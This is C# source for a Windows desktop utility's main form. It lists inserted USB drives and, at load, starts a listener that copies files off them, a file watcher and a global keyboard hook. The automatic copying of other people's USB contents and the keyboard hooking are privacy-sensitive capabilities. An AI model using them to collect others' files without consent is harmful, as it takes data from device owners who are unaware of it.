/// <summary> /// refresh USBInfo tabpage /// </summary> private void RefreshUsbInfos() { usbInfo_TreeView.Invoke(() => { try { _infos = new List <UsbInfo>(UsbInfo.ReadBasicInfos()); usbInfo_TreeView.BeginUpdate(); usbInfo_TreeView.Nodes.Clear(); for (var i = 0; i < _infos.Count; ++i) { UsbInfo info = _infos[i]; DateTime lastMdTime = DateTimeOffset.FromUnixTimeSeconds(info.LastModified).LocalDateTime; usbInfo_TreeView.Nodes.Add($"{info.Remark} ({info.VolumeLabel}) ({CalculateLastTime(lastMdTime)})"); usbInfo_TreeView.Nodes[i].Nodes.Add("最后修改: " + lastMdTime.ToString("yyyy-MM-dd HH:mm")); usbInfo_TreeView.Nodes[i].Nodes.Add("插入次数: " + info.PlugInTimes); usbInfo_TreeView.Nodes[i].Nodes.Add("白名单: " + info.Excluded); usbInfo_TreeView.Nodes[i].Nodes.Add("总文件数: " + info.FileCount); usbInfo_TreeView.Nodes[i].Nodes.Add("已复制文件数: " + info.CopiedFileCount); usbInfo_TreeView.Nodes[i].Nodes.Add("保存路径: " + info.SavePath); usbInfo_TreeView.Nodes[i].Nodes.Add("设备PNP: " + info.PnpDeviceId); usbInfo_TreeView.Nodes[i].Nodes.Add("文件树"); foreach (var x in info.FileTreeVersions) { usbInfo_TreeView.Nodes[i].Nodes[7].Nodes.Add(x[..^ 2] + ":" + x[^ 2..]);
private void Form1_Load(object sender, EventArgs e) { Location = new Point(Screen.PrimaryScreen.WorkingArea.Width - Width, Screen.PrimaryScreen.WorkingArea.Height - Height); LogTextBox = logTextBox; _logger = new Logger(this); _logger.LogC($"版本 {Version}, 由 Nutr1t07 (Nelson Xiao) 制作"); _cfg = Config.ParseConfig("WBAData\\config.txt", _logger); _infos = new List <UsbInfo>(UsbInfo.ReadBasicInfos()); _copier = new Copier(_logger, ref _cfg, ref _infos); _autoPlay = new AutoPlay(_logger); _desktopArrange = new DesktopArrange(_copier, _logger); _wallpaper = new WallpaperMain(_logger, _copier); _recentFiles = new List <FileWatcher.RecentFile>(FileWatcher.RecentFile.ReadRecentFiles()); _fileWatcher = new FileWatcher(_copier, _cfg, _logger, _recentFiles); _fileWatcher.RecentFileAdded += FileWatcherOnRecentFileAdded; _keyboardDetect = new KeyboardDetect(_cfg, _logger); if (!Directory.Exists("WBAData")) { Directory.CreateDirectory("WBAData"); Directory.CreateDirectory("WBAData\\log"); } if (_cfg.RefreshWallpaper) { Task.Factory.StartNew(() => _wallpaper.PickWallIfTimePermit()); } if (_cfg.AutoPlayFtp) { Task.Factory.StartNew(() => new AutoPlay(_logger).CheckFtp(this)); } if (_cfg.AutoPlayEnAudio) { Task.Factory.StartNew(() => AutoPlay.CheckEnglishAudio(_cfg.AutoPlayEnAudioUnit, _cfg.AutoPlayEnAudioFileName)); } Task.Factory.StartNew(() => _copier.StartCopierListen()); Task.Factory.StartNew(() => _fileWatcher.Listen()); _keyboardDetect.StartHook(); InitialConfigPage(); RefreshUsbInfos(); InitRecentFileListViewUi(); _copier.UsbChange += (insert, info) => RefreshUsbInfos(); }